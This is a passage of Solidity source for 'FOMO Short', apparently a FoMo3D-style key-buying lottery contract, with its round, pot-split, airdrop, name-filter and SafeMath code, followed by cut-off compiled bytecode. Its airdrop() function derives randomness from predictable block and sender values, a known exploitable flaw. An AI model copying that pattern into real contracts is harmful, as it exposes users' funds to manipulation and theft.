pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
/**
* @title -Name Filter- v0.1.9
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/
* _ __ _ ____ ____ _ _ _____ ____ ___
*=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============*
*=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============*
*
* ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐
* ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │
* ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461035f57806306fdde0314610386578063079ce327146104105780630f15f4c01461043057806310f01eba1461044557806311a09ae71461046657806324c33d331461047b5780632660316e146104f25780632ce21999146105215780632e19ebdc14610552578063349cdcac1461056a5780633ccfd60b146105885780633ddd46981461059d57806349cc635d146105f95780635893d48114610623578063624ae5c01461063e5780636306643414610653578063685ffd8314610689578063747dff42146106dc57806382bfc739146107675780638f38f3091461078e5780638f7140ea1461079c578063921dec21146107b757806395d89b411461080a57806398a0871d1461081f578063a2bccae914610836578063a65b37a114610877578063c519500e14610885578063c7e284b81461089d578063ce89c80c146108b2578063cf808000146108cd578063d53b2679146108e5578063d87574e0146108fa578063de7874f31461090f578063ed78cf4a14610969578063ee0b5d8b14610971575b6101c9615161565b600f5460009060ff16151560011461022d576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015610274576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca008110156102cc576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561031c576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b610325856109ca565b33600090815260066020818152604080842054808552600890925290922001549196509450610358908590600288610c7e565b5050505050005b34801561036b57600080fd5b50610374610eb8565b60408051918252519081900360200190f35b34801561039257600080fd5b5061039b610f7d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d55781810151838201526020016103bd565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061042e600435602435604435610fb4565b005b34801561043c57600080fd5b5061042e6111c0565b34801561045157600080fd5b50610374600160a060020a03600435166112f3565b34801561047257600080fd5b50610374611305565b34801561048757600080fd5b5061049360043561130b565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b3480156104fe57600080fd5b5061050d60043560243561136e565b604080519115158252519081900360200190f35b34801561052d57600080fd5b5061053960043561138e565b6040805192835260208301919091528051918290030190f35b34801561055e57600080fd5b506103746004356113a7565b34801561057657600080fd5b5061042e6004356024356044356113b9565b34801561059457600080fd5b5061042e61159f565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515611920565b34801561060557600080fd5b5061042e600435600160a060020a0360243516604435606435611ad9565b34801561062f57600080fd5b50610374600435602435611cca565b34801561064a57600080fd5b50610374611ce7565b34801561065f57600080fd5b5061066b600435611ced565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f810184900484028501840190955284845261042e943694929360249392840191908190840183828082843750949750508435955050505050602001351515611e93565b3480156106e857600080fd5b506106f1611f73565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561077357600080fd5b5061042e600160a060020a0360043516602435604435612171565b61042e60043560243561236b565b3480156107a857600080fd5b5061042e600435602435612552565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050843595505050505060200135151561262f565b34801561081657600080fd5b5061039b61270f565b61042e600160a060020a0360043516602435612746565b34801561084257600080fd5b5061085160043560243561295b565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61042e60043560243561298d565b34801561089157600080fd5b50610539600435612b8a565b3480156108a957600080fd5b50610374612ba3565b3480156108be57600080fd5b50610374600435602435612c32565b3480156108d957600080fd5b50610374600435612cda565b3480156108f157600080fd5b5061050d612d8c565b34801561090657600080fd5b50610374612d95565b34801561091b57600080fd5b50610927600435612d9b565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b61042e612de2565b34801561097d57600080fd5b50610992600160a060020a0360043516612e5f565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6109d2615161565b336000908152600660205260408120549080821515610c7557604080517fe56556a9000000000000000000000000000000000000000000000000000000008152336004820152905173cb80bdbcc720e3525988de75822ef8d192edd0529163e56556a99160248083019260209291908290030181600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b505050506040513d6020811015610a8157600080fd5b5051604080517f82e37b2c00000000000000000000000000000000000000000000000000000000815260048101839052905191945073cb80bdbcc720e3525988de75822ef8d192edd052916382e37b2c916024808201926020929091908290030181600087803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b505050506040513d6020811015610b1e57600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101869052905191935073cb80bdbcc720e3525988de75822ef8d192edd0529163e3c08adf916024808201926020929091908290030181600087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b505133600081815260066020908152604080832088905587835260089091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610c44576000828152600760209081526040808320869055858352600882528083206001908101869055600a8352818420868552909252909120805460ff191690911790555b8015801590610c535750828114155b15610c6d5760008381526008602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600b602052604090206004015442910181118015610ce957506000828152600b602052604090206002015481111580610ce957506000828152600b602052604090206002015481118015610ce957506000828152600b6020526040902054155b15610d0157610cfc828734888888612f34565b610eb0565b6000828152600b602052604090206002015481118015610d3357506000828152600b602052604090206003015460ff16155b15610e7b576000828152600b60205260409020600301805460ff19166001179055610d5d83613485565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360086000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260086020526040902060030154610e9d903463ffffffff61388916565b6000878152600860205260409020600301555b505050505050565b6005546002546000828152600b602052604081206004015490929142910181118015610f2657506000828152600b602052604090206002015481111580610f2657506000828152600b602052604090206002015481118015610f2657506000828152600b6020526040902054155b15610f6e576000828152600b6020526040902060050154610f6790670de0b6b3a764000090610f5b908263ffffffff61388916565b9063ffffffff6138ea16565b9250610f78565b6544364c5bb00092505b505090565b60408051808201909152600a81527f464f4d4f2053686f727400000000000000000000000000000000000000000000602082015281565b610fbc615161565b600f54600090819060ff161515600114611022576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611069576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca008110156110c1576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611111576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450881580611140575060008581526008602052604090206001015489145b1561115e57600085815260086020526040902060060154935061119d565b600089815260076020908152604080832054888452600890925290912060060154909450841461119d5760008581526008602052604090206006018490555b6111a688613917565b97506111b585858a8a8a61393c565b505050505050505050565b600054600160a060020a03163314611222576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b600f5460ff161561127d576040805160e560020a62461bcd02815260206004820152601c60248201527f464f4d4f2053686f727420616c72656164792061637469766174656400000000604482015290519081900360640190fd5b600f805460ff1916600190811790915560058190556002548154600092909252600b602052429091019081037f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d35561012c017f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d155565b60066020526000908152604090205481565b60045481565b600b60208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b01549a909b0154989a9799969860ff90961697949693959294919390928c565b600a60209081526000928352604080842090915290825290205460ff1681565b600d602052600090815260409020805460019091015482565b60076020526000908152604090205481565b6113c1615161565b600f5460009060ff161515600114611425576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561146c576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b84633b9aca008110156114c4576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611514576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b33600090815260066020526040902054935087158061153257508388145b1561155057600084815260086020526040902060060154975061157d565b600084815260086020526040902060060154881461157d5760008481526008602052604090206006018890555b61158687613917565b9650611595848989898961393c565b5050505050505050565b6000806000806115ad615161565b600f5460ff16151560011461160e576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611655576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b60055433600090815260066020908152604080832054848452600b909252909120600201549198504297509550861180156116a257506000878152600b60205260409020600301